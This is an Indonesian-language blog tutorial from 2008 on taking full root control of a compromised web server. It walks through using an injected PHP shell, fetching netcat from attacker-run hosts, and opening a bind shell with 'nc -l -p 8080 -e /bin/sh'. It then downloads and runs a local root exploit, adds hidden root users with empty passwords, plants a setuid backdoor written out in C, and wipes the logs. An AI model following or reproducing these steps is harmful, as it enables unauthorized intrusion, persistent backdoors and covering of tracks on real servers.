Tutorial Local Root Exploit

Posted by xshadow On June - 21 - 2008

netcatk lanjut aja.. nich tutor buat local root exploit :D

ok peralatan yang dibutuhkan (recruitment):

- shell yang dah di inject

- mig-log cleaner ==> hxxp://kvazar.ru/virtualhost/lg/files/miglc

- netcat ==> hxxp://h1.ripway.com/xshadow/wp/nc111nt.zip

- netcat ==> hxxp://kvazar.ru/virtualhost/lg/files/nc

- local root exploit ==> hxxp://www.linuxrootkit.cn/localroot/ atau hxxp://www.y0ume.net/localroot/

- sedikit otak

- ketelitian

ok lanjut…

1. masuk ke shell yag telah kalian inject…

entah kalian naruh dimana tuh shell…

http://target.com/shellinjectkalian.php

2. download file netcat buat dijalankan di target… jika kalian memakai shell c100 tinggal pilih.. pakai backconnection apa pakai backdorhost… jika memakai shell modifan kalian… terpaksa dunlut file netcat yang saya berikan…

wget http://kvazar.ru/virtualhost/lg/files/nc

jika sudah terdunlut ubah chmod-nya supaya bisa di eksekusi…

chmod +x nc

setelah diubah chmod-nya…

eksekusi file nc

./nc -l -p 8080 -e /bin/sh

jika netcat sudah terinstall… mari kita jalankan lewat pc kita :))

nc VictimIP Port (port yang kita pakai di contoh adalah 8080, dimana angka tersebut bisa diubah sesuai keinginan kita)

eg: nc 321.321.321 8080

ketika udah muncul tampilan backconnect dari jendela netcat kita…

kita lanjut ke yang berikut… download local exploitnya… jangan lupa.. samakan kernel target dengan exploitnya… (biar cocok) filenya berextensi *.c

aku contohkan memakai h00lishit.c

wget hxxp://www.linuxrootkit.cn/localroot/h00lyshit.c

setelah terdownload… compile file c tersebut…

gcc h00lyshit.c -o h00lyshit;chmod +x h00lyshit (dimana tanda ; adalah multi command… biasanya dipakek yang males2…)

nanti akan muncul file h00lyshit.. setelah itu eksekusi…

./h00lyshit

pada tahapan ini kamu harus sabar… biasanya lama bgt…

ketika sudah finish.. dan tidak ada pesan error apaun… coba jalankan command berikut…

whoami

atau

id

pasti akan muncul

uid=0(root) gid=0(root) groups=500(apache) atau apalah.. pokoknya root :P

sekarang sa’atnya mabuk… wkwkwkkww….

wait.. kalo dah mabuk… jangan lupa yang berikut ini…

kita add user… pastikan dahulu… dan kita buat backdoor

add user

/usr/sbin/useradd robber -g wheel -s /bin/bash -d /etc/.robber
passwd -d xshadowyangtampantiadaduanya

/usr/sbin/adduser robber -g root -d /home/robber -s /bin/bash
passwd -d xshadowyangtampantiadaduanya

/usr/sbin/adduser ftp -g root -d /home/robber -s /bin/bash
passwd -d xshadowyangtampantiadaduanya

/usr/sbin/useradd mailbin -c mail -d /var/spool/mail

/etc/init.d/httpd restart

ok

atau

#include
#include
#include
#include

int main( void )
{
setuid( 0 );
system( “/bin/bash” );

return 0;
}

root@xshadow /root# gcc -o .bkdr main.c
root@xshadow /root# chown root:root .bkdr
root@xshadow /root# chmod +s .bkdr

compile dan change permissionnya :D

kamu akan mendapatkan file .bkdr… dari situ terjadi penge-$PATH dan jika eksekusi memakai user lain maka

guest@xshadow /home/guest$ /usr/local/bin/.bkdr
root@xshadow /home/guest# whoami
root

dah kan.. balik lagi jadi root :P

sekarang saatnya bersih2 kotoran km.. :P

wget hxxp://kvazar.ru/virtualhost/lg/files/miglc;chmod +x miglc

jalankan pembersihnya

./miglc

sukses… heuheue…

selamat menikmati acara kamu berikutnya :P

oya.. kalo km pasang shell di site yang ada… kamu akan mendapati shell dengan jabatan root